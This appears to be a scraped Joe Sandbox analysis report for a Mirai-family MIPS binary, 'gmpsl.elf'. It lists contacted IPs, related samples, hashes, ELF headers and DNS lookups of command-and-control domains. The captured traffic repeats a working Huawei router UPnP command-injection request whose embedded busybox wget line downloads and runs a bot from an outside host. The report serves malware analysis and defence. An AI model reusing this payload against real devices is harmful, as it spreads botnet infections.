197.238.77.196	unknown	unknown	37705	TOPNETTN	false
197.49.247.247	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.51.4.242	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.1.114.189	unknown	United States	22226	SFUSDUS	false
41.235.75.223	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.177.27.81	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
156.158.51.152	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
156.214.187.246	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.199.251.170	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.234.1.254	unknown	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	false
41.137.15.139	unknown	Morocco	36884	MAROCCONNECTMA	false
156.134.164.58	unknown	United States	27174	UNASSIGNED	false
197.10.162.31	unknown	Tunisia	5438	ATI-TN	false
156.241.84.36	unknown	Seychelles	133201	COMING-ASABCDEGROUPCOMPANYLIMITEDHK	false
41.245.154.122	unknown	Nigeria	328050	Intercellular-Nigeria-ASNG	false
197.76.213.158	unknown	South Africa	16637	MTNNS-ASZA	false
156.204.73.150	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.43.93.71	unknown	United Kingdom	3549	LVLT-3549US	false
41.228.193.63	unknown	Tunisia	37693	TUNISIANATN	false
156.58.152.255	unknown	Austria	199083	MP-ASAT	false
41.97.193.189	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.34.127.177	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.105.231.143	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.79.242.145	unknown	United States	11363	FUJITSU-USAUS	false
41.89.178.125	unknown	Kenya	36914	KENET-ASKE	false
156.176.96.251	unknown	Egypt	36992	ETISALAT-MISREG	false
156.250.110.159	unknown	Seychelles	133201	COMING-ASABCDEGROUPCOMPANYLIMITEDHK	false
156.75.68.142	unknown	United States	8103	STATE-OF-FLAUS	false
197.106.106.109	unknown	South Africa	37168	CELL-CZA	true
156.19.217.66	unknown	United States	20115	CHARTER-20115US	false
41.169.198.136	unknown	South Africa	36937	Neotel-ASZA	false
41.160.135.170	unknown	South Africa	36937	Neotel-ASZA	false
197.188.96.3	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
156.124.100.112	unknown	United States	393504	XNSTGCA	false
156.43.93.55	unknown	United Kingdom	3549	LVLT-3549US	false
41.177.92.88	unknown	South Africa	36874	CybersmartZA	false
156.69.212.191	unknown	New Zealand	297	AS297US	false
156.215.129.208	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.115.200.27	unknown	South Africa	16637	MTNNS-ASZA	false
41.54.139.178	unknown	South Africa	37168	CELL-CZA	false
41.148.201.139	unknown	South Africa	5713	SAIX-NETZA	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
156.133.93.225	205.185.120.123-skid.sh4-2024-07-27T10_33_38.elf	Get hash	malicious	Mirai, Moobot	Browse
156.133.93.225	vj9njvsEaD	Get hash	malicious	Mirai	Browse
41.217.127.125	arm7-20240104-1907.elf	Get hash	malicious	Mirai	Browse
	zzBfFkqnEg.elf	Get hash	malicious	Mirai, Moobot	Browse
	4X5gSZo58S.elf	Get hash	malicious	Mirai	Browse
	TOSzq3ez8c	Get hash	malicious	Mirai	Browse
	Tsunami.arm	Get hash	malicious	Mirai	Browse
	j2aHL0kZPd	Get hash	malicious	Unknown	Browse
156.222.154.39	K7d9enp8cE.elf	Get hash	malicious	Mirai	Browse
41.127.73.189	k8CCRUs7Yi.elf	Get hash	malicious	Mirai, Moobot	Browse
	4JGeRgqZqM.elf	Get hash	malicious	Mirai	Browse
	NhX6mDdKZD.elf	Get hash	malicious	Mirai	Browse
	bpdzezUxdP.elf	Get hash	malicious	Mirai	Browse
	Tsunami.arm7	Get hash	malicious	Mirai	Browse
	nFQrAIp1Ow	Get hash	malicious	Mirai	Browse
41.230.49.252	skyljne.mips.elf	Get hash	malicious	Mirai	Browse
	meihao.x86	Get hash	malicious	Gafgyt Mirai	Browse
	gP995qW8vS	Get hash	malicious	Unknown	Browse
41.142.174.192	WWIwWJ34x1.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse
	cqif7RyAs5.elf	Get hash	malicious	Mirai	Browse
	y402OvpKd8	Get hash	malicious	Mirai	Browse
	aqua.arm	Get hash	malicious	Gafgyt, Mirai	Browse
	VJAGa1CbxA	Get hash	malicious	Mirai	Browse
	QIJ16axero	Get hash	malicious	Mirai	Browse
	Uq0DzI4KBj	Get hash	malicious	Unknown	Browse
156.235.45.170	arm7.elf	Get hash	malicious	Mirai	Browse
	S2lzc01l.x86	Get hash	malicious	Mirai	Browse
	9i3dQ7xdtO	Get hash	malicious	Mirai	Browse
	arm	Get hash	malicious	Mirai	Browse

Process:	/tmp/gmpsl.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.373557262275186
Encrypted:	false
SSDEEP:	3:TgLmG:TgqG
MD5:	7034617176B0140D701A78C8B9CCC41C
SHA1:	27C579D76471361C59D1C3CAE1A61C23DFB695C2
SHA-256:	822F57F225F23E9578F23EF3AAF86802F95D63D56C348700CF5010BFE21407BA
SHA-512:	ECB5B0CB79EBE79D91342E43773C65EDC2C9F389D180C4E21E1C337336E2DD53D2216DDBBF4CD645CD0460D2FD73B5335F9BD23934284B68070FE47D7DE812BD
Malicious:	false
Reputation:	low
Preview:	/tmp/gmpsl.elf.

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.5671740543796675
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	gmpsl.elf
File size:	81'660 bytes
MD5:	a96902555b1ae61ba0536b166b662131
SHA1:	63a19008edc8d5741990fef230dac4734397b032
SHA256:	20f6c7f9f924649e06fe30855395b98dda0381dae7c5cd60790baf2d8b375651
SHA512:	e3011990448312315b0ec97be9e01608e94fa745a76a7a9068f59de4cc3cadb9fb287fdd2d857dcf6502ef7d1c8c6c1b63f5a9de24e5d005038e6ceb4c5a3f18
SSDEEP:	1536:iIvMviXEaqpg/pQ0v34V+dXg0bDVVq6jZ6v6vm8X5IR1:iIvMvox/BdQmDVAAZXej
TLSH:	3683D646BF510EBBD86FDD374AA9070531DC591B12F87B3A3934D82CB64A14F4AE38A4
File Content Preview:	.ELF....................`.@.4....<......4. ...(...............@...@..3...3...............3...3E..3E......*..........Q.td...............................<...'!......'.......................<...'!... .........9'.. ........................<x..'!...........P.9

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	81100
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x116a0	0x0	0x6	AX	16
.fini	PROGBITS	0x4117c0	0x117c0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x411820	0x11820	0x1b60	0x0	0x2	A	16
.ctors	PROGBITS	0x453384	0x13384	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45338c	0x1338c	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x453398	0x13398	0xc	0x0	0x3	WA	4
.data	PROGBITS	0x4533b0	0x133b0	0x3c0	0x0	0x3	WA	16
.got	PROGBITS	0x453770	0x13770	0x4f8	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x453c68	0x13c68	0x14	0x0	0x10000003	WAp	4
.bss	NOBITS	0x453c80	0x13c68	0x21b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0xb0a	0x13c68	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x13c68	0x64	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x13380	0x13380	5.6028	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x13384	0x453384	0x453384	0x8e4	0x2ab4	3.7153	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 18:20:42.428487062 CEST	192.168.2.15	130.61.69.123	0x992d	Standard query (0)	swimminginboats.geek	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:47.646136045 CEST	192.168.2.15	173.208.212.205	0x271c	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:55.830861092 CEST	192.168.2.15	51.158.108.203	0x5ad0	Standard query (0)	therealniggas.parody. [malformed]	256	487	false
Oct 2, 2024 18:20:55.847754955 CEST	192.168.2.15	103.1.206.179	0xa2b7	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:23:24.516320944 CEST	192.168.2.15	1.1.1.1	0xb136	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:23:24.516357899 CEST	192.168.2.15	1.1.1.1	0xa592	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report gmpsl.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.018dkx (deleted)

/tmp/qemu-open.05L6Hw (deleted)

/tmp/qemu-open.09dKEw (deleted)

/tmp/qemu-open.0R409z (deleted)

/tmp/qemu-open.0SM0Ax (deleted)

/tmp/qemu-open.0WHkLy (deleted)

/tmp/qemu-open.0dmusx (deleted)

/tmp/qemu-open.0nDPyx (deleted)

/tmp/qemu-open.0rkZ7w (deleted)

/tmp/qemu-open.10r4Fx (deleted)

/tmp/qemu-open.12sy3z (deleted)

/tmp/qemu-open.13TNLw (deleted)

/tmp/qemu-open.13hNXA (deleted)

/tmp/qemu-open.13yUIw (deleted)

/tmp/qemu-open.19bBRx (deleted)

/tmp/qemu-open.1CnVXw (deleted)

/tmp/qemu-open.1D5X7A (deleted)

/tmp/qemu-open.1GeYqA (deleted)

/tmp/qemu-open.1IbLbA (deleted)

/tmp/qemu-open.1K99Fy (deleted)

/tmp/qemu-open.1MYRGx (deleted)

/tmp/qemu-open.1QjUMA (deleted)

/tmp/qemu-open.1Y1bQA (deleted)

/tmp/qemu-open.1c3kZz (deleted)

/tmp/qemu-open.1cbt5z (deleted)

/tmp/qemu-open.1eENgx (deleted)

/tmp/qemu-open.1enrdy (deleted)

/tmp/qemu-open.1hqgNA (deleted)

Linux Analysis Report
gmpsl.elf

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 18:20:42.580091953 CEST	130.61.69.123	192.168.2.15	0x992d	No error (0)	swimminginboats.geek		138.197.155.229	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:42.580091953 CEST	130.61.69.123	192.168.2.15	0x992d	No error (0)	swimminginboats.geek		138.68.66.39	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:42.580091953 CEST	130.61.69.123	192.168.2.15	0x992d	No error (0)	swimminginboats.geek		139.59.247.93	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:42.580091953 CEST	130.61.69.123	192.168.2.15	0x992d	No error (0)	swimminginboats.geek		185.117.72.139	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:42.580091953 CEST	130.61.69.123	192.168.2.15	0x992d	No error (0)	swimminginboats.geek		128.199.113.0	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:42.580091953 CEST	130.61.69.123	192.168.2.15	0x992d	No error (0)	swimminginboats.geek		178.128.99.13	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:42.580091953 CEST	130.61.69.123	192.168.2.15	0x992d	No error (0)	swimminginboats.geek		138.197.141.146	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:42.580091953 CEST	130.61.69.123	192.168.2.15	0x992d	No error (0)	swimminginboats.geek		185.117.72.140	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:42.580091953 CEST	130.61.69.123	192.168.2.15	0x992d	No error (0)	swimminginboats.geek		165.22.62.189	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:42.580091953 CEST	130.61.69.123	192.168.2.15	0x992d	No error (0)	swimminginboats.geek		138.197.7.36	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:42.580091953 CEST	130.61.69.123	192.168.2.15	0x992d	No error (0)	swimminginboats.geek		139.59.59.19	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:42.580091953 CEST	130.61.69.123	192.168.2.15	0x992d	No error (0)	swimminginboats.geek		157.245.110.224	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:47.765657902 CEST	173.208.212.205	192.168.2.15	0x271c	No error (0)	magicalmalware.pirate		138.68.66.39	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:47.765657902 CEST	173.208.212.205	192.168.2.15	0x271c	No error (0)	magicalmalware.pirate		128.199.113.0	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:47.765657902 CEST	173.208.212.205	192.168.2.15	0x271c	No error (0)	magicalmalware.pirate		139.59.59.19	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:47.765657902 CEST	173.208.212.205	192.168.2.15	0x271c	No error (0)	magicalmalware.pirate		138.197.155.229	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:47.765657902 CEST	173.208.212.205	192.168.2.15	0x271c	No error (0)	magicalmalware.pirate		178.128.99.13	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:47.765657902 CEST	173.208.212.205	192.168.2.15	0x271c	No error (0)	magicalmalware.pirate		138.197.141.146	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:47.765657902 CEST	173.208.212.205	192.168.2.15	0x271c	No error (0)	magicalmalware.pirate		157.245.110.224	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:47.765657902 CEST	173.208.212.205	192.168.2.15	0x271c	No error (0)	magicalmalware.pirate		185.117.72.139	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:47.765657902 CEST	173.208.212.205	192.168.2.15	0x271c	No error (0)	magicalmalware.pirate		138.197.7.36	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:47.765657902 CEST	173.208.212.205	192.168.2.15	0x271c	No error (0)	magicalmalware.pirate		139.59.247.93	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:47.765657902 CEST	173.208.212.205	192.168.2.15	0x271c	No error (0)	magicalmalware.pirate		185.117.72.140	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:47.765657902 CEST	173.208.212.205	192.168.2.15	0x271c	No error (0)	magicalmalware.pirate		165.22.62.189	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:55.846725941 CEST	51.158.108.203	192.168.2.15	0x5ad0	Format error (1)	therealniggas.parody. [malformed]	none	none	256	487	false
Oct 2, 2024 18:20:56.125650883 CEST	103.1.206.179	192.168.2.15	0xa2b7	No error (0)	magicalmalware.pirate		178.128.99.13	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:56.125650883 CEST	103.1.206.179	192.168.2.15	0xa2b7	No error (0)	magicalmalware.pirate		138.197.141.146	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:56.125650883 CEST	103.1.206.179	192.168.2.15	0xa2b7	No error (0)	magicalmalware.pirate		185.117.72.140	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:56.125650883 CEST	103.1.206.179	192.168.2.15	0xa2b7	No error (0)	magicalmalware.pirate		139.59.247.93	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:56.125650883 CEST	103.1.206.179	192.168.2.15	0xa2b7	No error (0)	magicalmalware.pirate		139.59.59.19	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:56.125650883 CEST	103.1.206.179	192.168.2.15	0xa2b7	No error (0)	magicalmalware.pirate		138.197.7.36	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:56.125650883 CEST	103.1.206.179	192.168.2.15	0xa2b7	No error (0)	magicalmalware.pirate		128.199.113.0	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:56.125650883 CEST	103.1.206.179	192.168.2.15	0xa2b7	No error (0)	magicalmalware.pirate		138.197.155.229	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:56.125650883 CEST	103.1.206.179	192.168.2.15	0xa2b7	No error (0)	magicalmalware.pirate		138.68.66.39	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:56.125650883 CEST	103.1.206.179	192.168.2.15	0xa2b7	No error (0)	magicalmalware.pirate		165.22.62.189	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:56.125650883 CEST	103.1.206.179	192.168.2.15	0xa2b7	No error (0)	magicalmalware.pirate		157.245.110.224	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:20:56.125650883 CEST	103.1.206.179	192.168.2.15	0xa2b7	No error (0)	magicalmalware.pirate		185.117.72.139	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:23:24.525173903 CEST	1.1.1.1	192.168.2.15	0xb136	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Oct 2, 2024 18:23:24.525173903 CEST	1.1.1.1	192.168.2.15	0xb136	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 18:20:45.585474968 CEST	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 469 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 66 6f 78 2e 63 61 74 20 2d 6c 20 2f 74 6d 70 2f 6b 69 20 2d 72 20 2f 68 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 69 3b 20 2f 74 6d 70 2f 6b 69 20 68 75 61 77 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g hfox.cat -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Oct 2, 2024 18:20:45.818958044 CEST	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 469 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 66 6f 78 2e 63 61 74 20 2d 6c 20 2f 74 6d 70 2f 6b 69 20 2d 72 20 2f 68 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 69 3b 20 2f 74 6d 70 2f 6b 69 20 68 75 61 77 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g hfox.cat -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 18:20:45.586790085 CEST	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 469 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 66 6f 78 2e 63 61 74 20 2d 6c 20 2f 74 6d 70 2f 6b 69 20 2d 72 20 2f 68 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 69 3b 20 2f 74 6d 70 2f 6b 69 20 68 75 61 77 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g hfox.cat -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Oct 2, 2024 18:20:45.818955898 CEST	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 469 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 66 6f 78 2e 63 61 74 20 2d 6c 20 2f 74 6d 70 2f 6b 69 20 2d 72 20 2f 68 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 69 3b 20 2f 74 6d 70 2f 6b 69 20 68 75 61 77 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g hfox.cat -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
